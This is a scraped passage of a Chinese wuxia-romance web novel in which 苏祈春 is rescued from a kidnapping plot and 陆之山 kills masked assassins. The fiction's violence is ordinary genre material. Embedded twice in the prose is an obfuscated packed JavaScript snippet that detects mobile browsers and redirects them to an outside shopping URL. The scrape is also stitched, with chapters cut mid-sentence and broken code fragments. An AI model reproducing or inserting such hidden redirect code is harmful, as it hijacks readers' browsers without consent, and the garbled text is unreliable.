就连苏川谷都感受到这股寒冷,他抱着膀子四处看,瞧见那片竹影,漫不经心地看过去,一瞬间,他的瞳孔骤然放大,面无血色地乱叫着。 “啊——救命呀——” “怎么了?”李元礼回头看他,只见一枚薄薄的竹叶破空而来,化作一柄青色的利刃,直冲苏川谷的双眼而来。 苏川谷被吓得屁滚尿流,仓皇而逃。 李元礼不屑地摇头,扭头顺着竹叶来的方向看过去,眼前是一片苍翠的青竹,密密地挨在一起,竹顶的叶子轻盈,随风摇荡,在地上投下一片片斑驳的影子。 一个白色的身影静静地站在竹影里,冷冷的,淡淡的,好似世上本就没有这个人。 李元礼皱眉,方才他与苏川谷在此处站了那么久都未曾察觉到有人,但看他肩上落满的竹叶,他定然在此处呆了许久。 “你是谁?不要命了,敢偷袭苏家公子?”李元礼道。 白色身影明明没有动,可下一瞬,更锋利的两枚竹叶直击他面门,李元礼没想到这竹叶的速度如此之快,他连退几步,倒地滚了几圈才堪堪躲过,但他藏青色的衣袍上还是被竹叶划出了几道口子。 李元礼站定,看了看身上外翻的衣袍,道:“阁下好身手,只是不知道在下哪里惹到你了,阁下如此对我。” 修长的身影从竹影下走出,渐暗的天光遮住他冷笑的嘴角,陆之山脑后的布条带子被风吹得张扬。 “你……”李元礼看着他,眯了眯眼,“难道你就是陆之山,那个瞎子?” 陆之山没有让李元礼的话说完,手中的两枚竹叶旋即飞出,刀似的凛冽。 李元礼自幼习武,自认在武学上颇有造诣,但面对这轻飘飘的两枚竹叶,他竟要拼尽全力才能躲过,如此可见飞出竹叶的人的武功之高。 “你住手,我是县令之子,你敢伤我,不要命了?”李元礼才躲过两枚竹叶,紧接着,又两枚竹叶如影随形般飞过来,他不断翻转身姿,但越来越多的竹叶泛着碧寒的光冲他而来,将他围得喘不过气。 陆之山站在不远处,静静地对着他,他虽然看不见,但这几个月来他的耳力越发地好,是以凭着声音他便可像平常人那般生活。 此时面对李元礼,他挥出的竹叶也似长了眼睛般,片片狠厉。 他听着李元礼被竹叶折磨的难挨模样,心头仍好似压着一颗巨石一般,他忘不了李元礼与苏川谷说的话。 他们不该那么做。 陆之山手心内力暴涨,身后竹顶的树叶互相碰撞,发出清脆的声音,转瞬间,竹叶被一股巨大的力量剥离,聚集到陆之山的掌心。 李元礼于纷乱的竹叶间觑见陆之山手心的密密麻麻的竹叶,满脸苍白。 “你想干什么?你不要乱来啊。”李元礼咽咽口水,回头去找苏川谷,谁知苏川谷被那竹叶追到了河边,一头扑进了河里。 李元礼在心里大骂几句,对着陆之山说:“兄台手下留情,你想要做什么,我都能答应你,只要你不伤我。” 陆之山无情无绪,依旧冷冷地看着他,一步步地朝他走去,手心中的竹叶仍在汇集。 “大哥,有事好商量,有事好商量。” 李元礼一边稳着陆之山,一边四处看,可恨的是此时诺大的苏家竟没有一个人路过此处。 他不禁心下一寒,隐隐的冷寒扑面而至。 陆之山手心竹叶越聚越多越聚越大,李元礼的话他听到了,但他就像没听到一样,缓缓朝着李元礼走近,手中竹球蓄势待发。 不管是县令之子,还是苏家公子,他都毫不在乎。 李元礼看着他,有些绝望地闭起眼。 陆之山内力汇聚,一抹冷碧飞出。 竹球在空中卷起凄冷的风声,陆之山脸色沉沉,威压蔓延。 “小心!”李元礼心坠之际,一个身影忽地将他推出去,替他挡了那竹球。 “噗——”来人一口鲜血喷在地上。 李元礼踉跄几步才稳住身形,转身看见陆重蹲在地上。 他瞧了两眼,来不及多想,话也没说,趁着陆之山凝神之际立马跑了 陆重抹了抹嘴上的血,抬头看着陆之山,声音沙哑,“你又想干什么?” 陆之山垂下手,微抬下颌,面容冷漠,“你又想干什么?” 陆重站起身,回头望了眼仍在河里扑腾的苏川谷,转头怒视陆之山,“我想让你想起你的誓言。” 风吹起陆之山的袍角。 “你不该伤害苏川谷和李元礼,尤其是李元礼,他是县令之子,他若有事,整个苏家都要遭殃,我劝你有些自知之明。” “若是惹了他,我不会保你,你自己自求多福吧,本来你的命就是我救的,我也不奢求你报答了,你只要不害了我,不害了兰儿。至于其他的,你是死是活都与我无关。” 陆之山嘴角泛起微不可见的凄凉的笑。 陆重冷冰冰的话一点一点冰冻住他滚烫的心跳,他的嘴里忽然很苦,他向陆重伸出手。 陆重警惕地说:“你想干什么?” 陆之山手悬在空中,淡淡道:“我想吃梨膏糖了。” 陆重捂着胸口,嘴角还在不断地往外流血,他冷哼一声,不无厌烦地说:“你觉得我有吗?” 深色的天幕一点点落下,陆之山扯出一丝笑,陆重的脚步声越来越远,他听着陆重去捞河里的苏川谷的声音,单薄的手再次垂下,落在袖间。 冷风吹落天际上的光亮,整个天幕逐渐黯淡下来,陆之山轻叹口气,沿着稀薄的月影朝着觉明院走去。 天黑了,出门的人也该回来了。 黑沉沉的夜空下,苏祈春脸颊微红,一双黑眸格外地亮,她晕乎乎地走到长廊下, 30. 大坏蛋 《我表兄天下第一甜》全本免费阅读 30大坏蛋 曲余青扬了扬眉,回头问:“施兄所为何事?” 施之谓望望两边,走到曲余青面前低声言语。 曲余青时而微笑,时而点头,不远处的施清荷隔着帘子看得满脸不悦。 “哥哥在跟那个曲大坏蛋说什么呢?” 崔夫人一双湿漉漉的眼睛看着施清荷,微笑着说:“你这丫头,说什么呢?那是你曲哥哥,什么曲大坏蛋。” “我不管。”施清荷放下帘子,嘴巴撅着,“他就是曲大坏蛋。” 曲余青听罢施之谓的话,眼角余光处瞥见施清荷恶狠狠的眼神,摸了摸鼻子,笑道:“这倒不难,不过……” 施之谓眉心微皱。 “施兄你倒不必紧张,在下亦有个小请求,还需要施兄你帮忙。” 施之谓松口气,道:“曲公子但说无妨。” 曲余青目光转了转,附在施之谓耳边说:“只求施兄在清荷妹妹前多说说我的好话,否则,”曲余青看向马车,“否则我真怕有天清荷妹妹要把我杀了。” 施之谓脸色变了变,不无尴尬地回道:“清荷她年纪小,不懂事,曲公子放心吧,回去我一定好好教训她。” “那就好那就好。”曲余青朗朗笑声弥漫在空中,脚尖一点踏枝而去,“施兄,那我先走一步了。” 施之谓望着青色身影消失于阍暗天地后,回到马车旁,将施清荷斥责了一顿。 施清荷不服气地说:“哥哥偏心,胳膊肘儿净往外拐,要是纤纤姐姐在,定会向着我。” “少拿你纤纤姐姐挡箭,她才不会像你一般,将曲余青说成那般样子。”施之谓冷冷地扫了一眼施清荷,不由得拿她和苏祈春作比较。 样子嘛,都是一样的可爱好看,但苏祈春身上更有种浑然天成的坚韧,这点儿让她与旁人截然不同,让人的眼光不自觉地落在她身上。 * 苏祈春坐在颠簸的马车里,白嫩的脸颊因为焦急而生出阵阵绯红,她朝着马车外张望,眉尖皱成一团麻花,“柏哥哥,怎么还不到?” 她望着马车外漆黑的光景,努力辨别着归路。 苏川柏生怕她看出来,宽慰道:“纤纤妹妹不要急,马上就到了。” 可苏祈春记挂着陆之山的病,心里早已乱成缠在一起分不清的丝线,没法儿不着急。 “柏哥哥,再快些吧。” 苏川柏点头,跟身边人使了个眼色,抓紧马缰绳,拍马而前。 寂静的夜幕下,辘辘的马车声回荡在小小的湛江县里,一声声撞击着云间偶然泄出的清淡月光。 曲余青一身青色,脚尖点在梧桐树高高的树梢上,光影流连在他脸上,时明时暗,他眯眼瞧着树下飞快驶过的马车,轻声笑一下,手中飞出一抹亮光。 “什么人?!” 一枚石子击中苏川柏身下的马儿,骏马受惊,一声嘶吼,马蹄乱起来,马背上的苏川柏几乎要被掀翻在地。 他用尽全力拉紧马缰绳,才让马儿平静下来。 他望着周围,白雪映出他紧张的脸。 苏祈春见马车停了下来,掀开车帘问:“柏哥哥,发生了什么事?” 苏川柏环顾四周,周遭一个人影儿也没有,只有风吹动树叶,树叶随风摇摆落下的影子。 “没什么,前面有只野猫。”等了会儿,四周平静如故,苏川柏心下懈怠下来,催促着马车继续往前走。 路是出城的路,苏川柏早已和苏川谷、李元礼商量好了,将苏祈春送到城外,谁料中间出了这点儿小岔子,他的心虚又被勾上来。 那说到底是他的妹妹。 可他转念一想,妹妹又如何,到时候他继承了苏家的家业,这个妹妹该怎么样,还不是他说了算,早点儿让他处置了又有何妨? 再说了,这次李元礼答应给他们兄弟俩的东西可颇为丰厚,湛江县县衙正好有两个空缺,此时若成,那两个空缺自然就是他们兄弟两个的了。 如此,他们也不用学什么医,成天和那堆药材呆在一起,他都快被熏死了。 想到这里,他的胆子又大了起来,加快速度往城门外赶去。 风声呼啸,白雪地里留下一道道车辙。 “谁!” 又一颗石子从天而降,将苏川柏的马儿逼得前膝跪地,苏川柏躲闪不及,硬生生从骏马身上飞出,下巴磕在白雪地里,生疼。 “他奶奶的,是谁?!给我出来!”苏川柏踉跄站起身,推开身后来扶他的人,盯着周围。 周围依旧是静悄悄的,只有风吹动万物的声音。 他渐渐有些害怕,一边说着狠话,一边往后退,“是男人就快出来,少在那里躲躲藏藏!” 说话间他已退到马车旁,同行的家仆上前,严严实实地挡住他。 苏祈春也觉出不对劲,掀开车帘去看。 “柏哥哥,到底怎么了?发生了什么事?” 苏川柏满口义正言辞,“纤纤妹妹,你就在马车里呆着别出来,你放心吧,柏哥哥我就是死也不会让你受到一点儿伤害。” “哈哈哈哈哈哈哈”苏川柏话音刚落,一阵笑声便从至高处传了下来,众人纷纷抬眼往上看。 只见梧桐树的树梢上站着一个少年,他衣袍角被风吹得扬起,清凌凌的月光下,他如神般站立。 “我说苏川柏,你竟然能对着苏祈春说出这种话,你可真行啊!” 苏川柏默然,许久才出声道:“是你……” “是我。”一眨眼的功夫,曲余青从至高的梧桐树上飞身而下,落在苏祈春面前。 苏祈春乌黑的眼眸亮了亮,飘逸的身姿在她眼底飞过,“曲哥哥,怎么是你?” 曲余青看向苏祈春,语气温柔了许多,“当然是我了,我要不来,你这个傻丫头被人卖了还要给人数钱。” 苏祈春拧眉,“曲哥哥我怎么听不懂你说的话呀?谁要卖我呀?” 一旁的苏川柏早已吓得满脸发白。 曲余青也不跟他客气,直截了当地说:“当然是你的好哥哥苏川柏了!” 苏祈春眉头越皱越紧。 苏川柏反驳道:“你不要血口喷人!纤纤是我唯一的妹妹,我怎么可能害她?” “是吗?”曲余青刀似的目光扫过苏川柏,苏川柏浑身一冷,嘴硬道:“当然!你是哪来的,挑拨我们兄妹的关系,纤纤,不要听他的。” 31. 那个人 31那个人 苏祈春瞪大双眼望向曲余青,脸上露出震惊的神情,“曲哥哥,这……这怎么行?” “嗯?”曲余青兀自摇头,料想苏祈春定是要阻止他,心里哀叹又是一个优柔寡断爱心泛滥的女子。 苏祈春不说话,伸手去拿曲余青手中的软剑,剑身映出她笑意盈盈的模样。 苏川柏看着软剑从曲余青移到苏祈春眼里,深深地舒了口气,讨好道:“多谢纤纤妹妹搭救。” “谁说我要救你了?”苏祈春笑着说。 苏川柏和曲余青纷纷看向她。 苏祈春含着笑,剑尖指向苏川柏的双眼,淡淡道:“拨皮抽筋有什么意思,依纤纤看,倒应该挖眼。” 周围静得落针可闻。 苏祈春手中的剑尖往下,指向苏川柏的手,声音轻柔,“断手。” “最后,”苏祈春盈盈地笑,用剑抵住苏川柏的心口,苏川柏浑身发凉,全身的血都冲向胸前,涨得胸口几乎要炸开。 “最后什么?”曲余青扬起眉,颇有兴趣地看着苏祈春。 苏祈春笑得明媚,声音却一寸寸变冷,“最后让他从此不能人事,再扔到猪圈里,了此残生。” 苏川柏简直不敢相信这些话是他的好妹妹苏祈春说出来的,平日的苏祈春温顺可爱,见到谁都是一张笑脸,连只蚂蚁都不敢踩死,如今竟能说出如此狠毒的话。 “纤纤,我可是你哥哥。”苏川柏汗流如注,如瀑的汗水从额头上往下滚。 苏祈春像是听了很可笑的话,笑得腰都弯了,她好容易才强忍住笑,道:“曲哥哥,你听听他说的是什么话?” 曲余青轻嗤一声,“我不听狗说话。” 苏祈春变了变脸色,将手中软剑还给曲余青,声音凄凉,“柏哥哥,纤纤也是你的妹妹呀。” 苏川柏跌在地上,曲余青的剑再次对准他,他知道这次没人能救得了他了,死亡的恐惧像一张密密麻麻的网,捉住他围着他,让他无处遁形无路可逃。 人之将死,他开始后悔,他后悔自己不该跟着李元礼和苏川柏瞎混,他是苏家的长子,若他好好钻研医术,日后未必不会有一番前途,就像苏知辛那般。 可他偏偏选了最好走又最不好走的那条路,以至于早早地没了性命。 “纤纤,你杀了我吧……”相比于被砍手挖眼做成人彘,他宁可死了。 “我不会杀你的,柏哥哥,你可是我的哥哥,我若就这么杀了你,怎么对得起我们这十多年的感情呢?柏哥哥,你说纤纤说的对吗?” 苏祈春甜甜的话语在耳边回荡盘旋,一团烟雾似的迷住他的心神,他眼皮越来越沉,周围的声音也越来越轻。 “柏哥哥,睡吧,睡着了就不觉得疼了。”朦胧之间,他看见苏祈春仍挂着往日的笑脸,只是手中握着一把泛着寒光的剑。 “曲哥哥,你说,我是先砍手还是先砍脚?” “纤纤以为呢?” “依我看啊,应该先把挑断他的手筋脚筋,再拿一把钝刀子,慢慢地磨着他的肉……” “好主意。” 寒意从苏川柏的四肢蔓延到胸口,他拼了命地想挣扎,身子却像被冰雪冻住,他好怕,好怕…… 见苏川柏彻底不动了,苏祈春收起迷香,卸下所有伪装,长长地松了口气。 “我还以为纤纤妹妹真的那么狠呢?”曲余青用剑挑起苏川柏沉沉的身子,扔向那群家仆。 苏祈春有些脸红,她偷看着曲余青在白雪地里飘逸的身姿,莫名地有些熟悉,她吐了吐舌头,道:“纤纤才不敢真的那么做,曲哥哥也是在吓他,不是么?” 银色软剑在曲余青手中旋转,月光与白雪之间的他衣袂翻飞,他扭身对着她,俊朗的笑没有一丝斑驳。 “纤纤妹妹。” 苏祈春缓缓回过神。 “你有没有听过一句话。”曲余青走近她。 “什么?” “女人最大的错就是自以为自己很了解男人。”曲余青靠在马车车身上,歪脸看着她。 苏祈春被曲余青的这句话羞得脸红,什么男人,什么女人,她苏祈春明明还是个小女郎! 可眨眼间,她又想起她说的什么“不能人事”这种话,这哪里是一个小女郎该说的话? 她低下头,不敢再看曲余青,想了想,索性放下帘子,坐回车里,闷闷的声音隔着帘子传出来,“曲哥哥,时候不早了,该回府了。” “好。”曲余青没有在意她忽然的失落,站直身子,飞身坐于马车前,扬起鞭子赶马。 马儿脚蹄撞击地面的声音因为堆积的雪而小了许多,曲余青单腿屈在身前,眼角时不时往周围瞥去,嘴角始终挂着一抹浅笑。 湛江县民风朴素,是以虽无宵禁,平日的夜晚总会早早地闭门关灯,不许人再出来。 故而一路上,道路两边都是静悄悄,黑漆漆的,只有白雪映出的月光为那神秘的黑染上一层亮色。 苏府与城门是两个方向,马车一路往回走,深深的车辙印横跨半个湛江县。 苏祈春倚在车壁上,脸上的绯红被寒冷的夜冰得消退,车帘随着颠簸的车身来回摇晃,露出车外曲余青如竹的背影。 她静静地盯了一瞬,很快别过眼。 曲余青漫不经心地赶着车,两边黑暗的街道里像是藏着无数双眼睛,正紧紧地盯着行驶的马车。 曲余青像没看见一般继续往前走,却在转弯时,飞快地从手中扔出几块石头。 压得极低的尖叫声从黑暗里传来,曲余青摸摸鼻子,含笑望着前方。 头顶的月亮很大,一直跟着马车,黑暗里的人被击倒两个后,骚动起来,他们不动声色地从黑暗中走出,如影随形地在后面追。 纷乱的脚步踏在白雪上,沙沙地响。 曲余青并未回头,可他却像长了眼睛一般,知道了后面发生的一切,他身子往后倾了倾,问:“纤纤妹妹啊,你究竟惹了什么人,这么穷追不放?” 苏祈春心中一紧,“哪里有人?” 曲余青摇头,手中鞭子狠狠地抽着马身,骏马受惊,没命地往前跑去,身后的尾巴也快起来,混乱的脚步越来越重。 苏祈春掀开帘子往后看,白茫茫的雪地上奔跑着十几名带刀大汉,看起来武功颇高,不像平常之人,她皱紧了眉,道:“我看到他们了。” 曲余青轻笑一声,“抓紧了!” 话音刚落,苏祈春的身子便重重地摔到马车后壁上,马车飞快地往前驶去,苏祈春腰间的铃声混乱地响。 她扶着车壁,稳好身子,被撞的脖颈像裂开一般地疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823769|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车顶,一阵一阵的脚步声震得车身直晃,她听见曲余青说:“你们想死吗?” 对方并未答话,随即便是刀兵相见的声音。 苏祈春浑身抖如筛糠,窝在马车的角落里,手里攥紧一个药瓶。 药瓶里装着她自制的迷药,无色无味,只需一点,便可让人昏迷。 很快,来人将车身劈开,漫天的风雪直往苏祈春身上灌,刀光剑影宛如照亮天幕的闪电,刺得人睁不开眼。 一个扬着刀的人缓缓靠近苏祈春,苏祈春还未反应过来,曲余青便飞身来到她面前,剑光一闪,扬刀大汉立时倒地。 “曲哥哥!”苏祈春被吓得脸上血色全无,一双乌黑的眼含着泪,望着曲余青。 曲余青拉起她,“别怕。” 苏祈春忍着眼泪,点点头。 来人明显是有备而来,一招一式狠厉老辣,直往曲余青破绽处击来。 曲余青剑招飘逸,如游鱼一般,躲着来人的攻击。 但对方究竟人多势众,曲余青要对付他们又要保护苏祈春,显然有些吃力。 曲余青正和来人缠斗之际,另一大汉再次像苏祈春攻来。 苏祈春害怕得大叫,手中的药瓶再次攥紧,“曲哥哥!” 曲余青回头,来人见曲余青分神,更猛烈地朝他攻来。 苏祈春咬着下唇,身子因为害怕而颤抖不已,大汉手中扬起的刀照出她惨白的脸。 刀光一点点落下来,落在她密如鸦羽的眼睫上,她下意识地紧闭双眼,手中的迷药不管不顾地向前挥去。 腰间的铃铛被风吹得乱响,她感受到一阵冷意,彻骨的冷。 “啊——”一声惨叫传来,苏祈春艰难地睁开眼。 天与地的中间,一抹白色身影长立于此,不沾尘埃,不惹灰尘。风雪之中,他白得透明的侧脸好似是被冰雕成的,脑后的白色布条随风飘荡。 “山哥哥!”苏祈春眼睛亮起来,嘴角翘起,她爬起来,抓住陆之山的衣袖,望着他的视线一刻也不曾转移,“山哥哥,你怎么来了?” 陆之山没有回答,他手中握着一根树枝,大汉没有得手,便冲着陆之山而来。 陆之山侧耳听着动静,不动声色地护在苏祈春的身前。 刀光闪过。 苏祈春难以置信地看着眼前的一切。 她知道陆之山的武功高,但没想到高到这种地步,甚至连曲余青在他面前都变得不值一提。 如果说曲余青的剑招如同一枚精美的簪子,其上的纹路颜色都恰到好处,宛若天成,那陆之山的武功便是开天辟地以来便生出的一颗美玉,不必雕饰,便是逼人的美。 曲余青应付之际,眼角瞥到陆之山的剑招,眸光骤然紧缩。 他还从未见过这样的招式,面对那样的敌人,连他都要费力应付,而陆之山,只要一招,只需一招。 一招过后,剑气所到之处,寸草不生。 曲余青想不出世上还有谁能使出这样的剑法,除了那个人,只有那个人。 陆之山挥动手中树枝,一步步逼退攻来的众人,奇怪的是,他手里的树枝对上对方的刀时分毫未损,反而对方的刀,断的断,残的残。 曲余青望向陆之山,咬咬牙,将手中的软剑扔出,“接着!” 32. 不该死 32不该死 软剑如同一条银色的丝带穿破漆黑的夜。 陆之山丢下手中的树枝,握住那把软剑,剑身从陆之山眼前划过,明白地映出他漠然的脸。 苏祈春躲在陆之山身后,望着陆之山挥剑身影,有些怔住,她形容不出眼前的一切,只觉得陆之山本来就该握着剑。 他就是剑,剑就是他。 而曲余青没了剑后,应付来人明显有些吃力,几次险些被击中,但他像是毫不在意,瞥着眼去看陆之山。 剑光夺目,与白雪与月色织成一圈光幕,兀自环绕在陆之山周围。 陆之山拿着剑站于其中,威压沉沉,耀眼夺目。 这是剑意登峰造极的景象。 曲余青苦练十年剑术,都不能达到如此境界,没想到今日遇见的这个又瞎又哑的残废,倒让他领略了。 他此时被来人的招数封得无处可逃,他本应该全力应对,却心绪杂乱。 他若是不将剑给陆之山,他不会如此狼狈,可他若没有如此一番试探,又怎能确认心中所想? 来人冲着曲余青防守空虚的部位挥出一掌,曲余青失神,腰间一痛,往后踉跄几步,一口鲜血吐在白雪地上。 “呵。”来人蒙着面,看不清脸,冷哼几声,道:“看来天下第一剑也不过如此。” 曲余青伸手拭去嘴角鲜血,笑道:“原来你是冲着天下第一剑来的。” “是又如何?谁能除掉天下第一剑,谁便能立马扬名江湖,现在想要杀你的人可不止我一人。”蒙面人道。 “我知道,但可惜,”曲余青站起身,眼角余光瞟见陆之山身影,摸摸鼻子,“可惜你杀不了第一剑。” 蒙面人当然杀不了第一剑,因为一道银色的剑光已至,一招之内,将他斩落,他甚至连挣扎的机会都没有。 临死之前,他瞪大眼睛,看着这个杀了他的人。 陆之山握着剑,滚烫的血与雪交融,鲜红与雪白辉映,在这阍黑又寂静的夜里,显得格外触目惊心,令人胆寒。 最后一个蒙面人倒下后,夜又重回极致的静,这种静比之前的更甚,无声地钻进人的骨髓,细密地磋磨着人的血肉。 苏祈春还是第一次看到这么多死人,他们都是被一招毙命,是以脸上还带着死之前的表情,好似还活着一般。 但他们喉咙里滚出的鲜血却分明地告诉她,他们已经死了。 苏祈春是大夫,医者仁心,是要救人的,可今日她却眼睁睁地看着那么多人死于陆之山的剑下。 这些都是江湖客,定国朝廷从不涉足江湖事,因此陆之山的性命无忧。 可那些被杀的人,他们就真的罪已致死吗? 苏祈春想不明白,她怔仲地站着,脚被冻僵,动弹不得。 曲余青迈着轻松的步子走到苏祈春面前,眨着眼问:“没想到纤纤妹妹的山哥哥是这么厉害的人物。” 苏祈春望向陆之山的身影,笑不出来,“纤纤也没想到,原来曲哥哥就是天下第一剑。” “咳咳。”曲余青忽地剧烈地咳嗽起来,脸涨得通红,他摇着头岔开这个话题,“别说了别说了,时候不早了,这里我来处理,你们快回苏府吧。” 曲余青恨不得她与陆之山马上就走,也好让他少些尴尬。 苏祈春不说话,凝望陆之山的背影,凛冽的风卷起地面的浮雪,纷纷扰扰地在眼前蔓延。 苏祈春有些看不清眼前的人,她好像发现了一个特悲哀的事。 她是不是一点儿都不了解陆之山。 她不知道他的武功可以厉害到这种地步,也不知道陆之山为什么会出现在这儿。 更不知道,陆之山会杀人。 雪花在风中翻转飞舞,陆之山丢下剑,默不作声地朝着苏祈春走来,站在苏祈春的身前,等着她的话。 可苏祈春越是看着他就越不知道要说什么。 尤其是他的脸,在杀了那么多人之后依然可以这么平静。 她的山哥哥是这样的吗? 她好像真的不了解陆之山。 苏祈春别过眼,从陆之山身旁走过,脚上冻得很痛。 陆之山感受到苏祈春从他身旁走过时衣料摩擦时的响动,以及铃铛轻轻摇晃的声响。他沉默了一瞬,转过身,隔着不远不近的距离跟着她。 马车已被那伙蒙面人毁掉,家仆早就带着昏迷的苏川柏回了苏家。 陆之山和苏祈春只能走回去。 路途遥远,脚下的积雪被踩得嘎吱嘎吱响,苏祈春一双小脚越走越冷,起初她走得很快,生怕陆之山跟上来。 后来,她越走越慢,可陆之山也一直没追上她。 她都要以为陆之山离开了,可她回头看时,她又发现,陆之山就在后面。 她停下时,他好像也有感应了一般停下。 树叶随风纷飞,在这样寒冷的夜里,连高高的梧桐树上的叶子也要相依相偎才能取暖。 苏祈春一瘸一拐地走,直到昏暗的影子罩住她小小的人儿。 她伸手,拂去陆之山浓黑眉毛上的雪。 陆之山动了动,像在看她。 她回望着他,久久地不说话。 陆之山口中呼出白白的雾气,他寻到她的手,小心地展开,带着内力的手心温热,一点点暖着她的手,她于一团温暖中分辨着陆之山的字。 “对不起。” 苏祈春紧咬着牙,才堪堪止住喉咙里涌上来的苦涩。 山哥哥没有对不起她,是她不该意气用事,是她先伤了山哥哥。 苏祈春摇摇头,声音很低,“才没有。” 陆之山又写:“吓到你了么?” 苏祈春盯着那几个字想了很久,低下头,道:“没有,我知道山哥哥是为了保护我。” 是那些人先要杀她的,山哥哥只不过是为了保护她,她不该怪山哥哥的。 “对不起。”陆之山手指在她的手心画着一撇一捺。 苏祈春皱眉,更认真地摇了摇头,“怎么又道歉?” 风雪在陆之山脸上冷冻结冰,他将苏祈春往里拉了拉,替她挡着风,“以后我不会杀人了。” 苏祈春的眼泪在黑夜里无声地流着。 “山哥哥。”苏祈春抓住陆之山写字的手,声音委屈可怜,“我们回家。” “不许再说对不起。”苏祈春想了想,又道。 陆之山的眉间像被风吹皱。 苏祈春踮起脚尖,认真地抚平它,笑着说:“山哥哥,纤纤不怪你,只是纤纤刚刚被吓到了,那些蒙面人好可怕,还好他们都被山哥哥解决掉了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852788|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆之山眉稍带笑。 苏祈春的手划过陆之山眼上的布条,停了一瞬,又若无其事的垂下,挽着陆之山的胳膊深一脚浅一脚地往前走。 她望着天,只觉得良夜美景,山哥哥终于又和她说话了,她也不想去计较什么了。 她笑吟吟地说:“山哥哥,没想到曲哥哥就是天下第一剑。” 她还记得施清荷放下的狠话,此生非天下第一剑不嫁,要是她知道天下第一剑就是她的死对头,那得是什么样子呀?她越想越想笑,忍不住笑出声来。 陆之山听着她的笑,心里酸酸的,他一见苏祈春就不想让她伤心,不愿看她失落,但看着她因为别的人开怀,他也会很难受。 曲余青就那样好?每次提到他,她好像都很开心。 “天呢,真的是想不到呀!原来天下第一剑就在我们身边!我们还傻傻地跑到外面去找,真是舍本逐末,缘木求鱼。”苏祈春不和陆之山闹别扭了之后,就格外开朗起来。 陆之山不动声色地暖着她的手,她的身子很快暖起来,她扭脸去看陆之山,“山哥哥,没想到你的武功比曲哥哥的还要高,我看,你才应该是天下第一剑。” 陆之山不置可否。 苏祈春笑着,忽然想到成了天下第一剑就要面对那么多小女郎的追捧,又猛地摇摇头,道:“不过当天下第一剑没什么好的。” 陆之山低头看她,鼻尖传来久未闻到的微苦,里面还夹杂着一点冬日的冷冽。 苏祈春昂着脸道:“当纤纤的山哥哥才是最好的。” 苏祈春说完,脸上冒出一阵热。 陆之山嘴角也露出不经意的笑。 苏祈春忍着脸红,骄傲地说:“纤纤可以给山哥哥治病,还可以给山哥哥堆雪人,还可以给山哥哥撑腰,还可以……” 她忽地停住,咽了咽嘴边的话。 陆之山微笑着,轻扯她的衣袖。 苏祈春像是瞬间获得了巨大的力量,她坚定地说:“要是纤纤治不好山哥哥的病,纤纤就不嫁人了,一直陪着山哥哥。” 她说了要治好陆之山的病,便一定要做到,她若是做不到,就一辈子陪着他。 陆之山鼻尖落下一颗冰凉的雪,手心的内力失控,横冲直撞地往外涌去。 他很想问一问她,若他不是真的陆之山,她还愿意这样做吗? 苏祈春手心感受到一股滚烫,她抽出手,再看时手心已经红了一片。 她苦着脸,惨兮兮地说:“山哥哥,纤纤的手都被你弄红了。” 陆之山垂头,脸上挂起一抹担心。 苏祈春蹲下身子,抓起一捧雪冰着手心,抬头对着陆之山笑。 陆之山也跟着蹲下,安安静静地陪着她,耐心十足。 “山哥哥。”苏祈春真开心她和山哥哥和好如初,她想多和陆之山说说话,可她话音刚落,一个沉沉的脑袋便靠在了她的肩膀上,压得她一个踉跄。 “山哥哥,你怎么了?”苏祈春轻声问着陆之山。 陆之山一动不动,好像真的变成了冰雕。 苏祈春慌乱地坐起来,身后沾上了一大片的雪,她推了推陆之山,陆之山毫无反应。 她着急地抓起陆之山的手腕,又凑近陆之山的身子闻了闻,直到确认了那熟悉的味道,愣在原地,哑然失笑。 33. 好可怜 33好可怜 苏府,觉明院,灯烛满室。 苏川柏躺在床上,双目紧闭,脸色发白,李夫人倚在榻边哭得声嘶力竭,回头对着苏知辛说:“大哥,你快看看,柏儿他这是怎么了?” 苏知辛摸了摸脉象,眉心微皱,道:“放心吧,柏儿他没事,睡一觉就好。” 说罢,又写下一个方子,交给茯苓,茯苓拿着方子欲往外走,耳边又响起李夫人的声音。 李夫人带着些怨恨说:“这施家究竟是什么意思?柏儿是纤纤的哥哥,怎么能害了她?他们平白无故地将柏儿伤成这样?是当我们苏家没人了吗?” 苏知辛放下脉案,昏黄火光映出他疲惫面容,“这事也不一定是施家的意思,柏儿的伤也不重,看起来,那人也只是想教训教训他。” “教训?”李夫人拍了下床榻,恨恨道:“他是谁呀?有什么资格教训柏儿,再说了,纤纤至今还下落不明,指不定他将纤纤怎么了。” 苏知辛转身瞪她,止住她的话,“住口,施家家风清明,湛江县人人皆知,你又在妄自揣测什么?” 李夫人被骇了一跳,嘴里仍咕囔着,“孤男寡女,谁知道呢?” 苏知辛气得脸发紫,待要发作,院内忽地传来一阵哭声,苏知辛看过去,只见苏泽兰眼圈泛红,泪水直在眼眶里打转,哭着朝他走来。 “哥哥,山儿,山儿他不见了。”苏泽兰哭得上气不接下气,若不是陆重扶着她,她恐怕连站都站不起来,“怎么办啊,山儿找不到了。” 她仿佛回到山儿上山采药失踪的那个夜晚,那天的夜也是这么黑,黑得让人害怕。 “别急,慢慢说,山儿怎么也失踪了?”苏知辛不无焦急地问。 “也?”还未待苏泽兰说什么,陆重先插了一嘴。 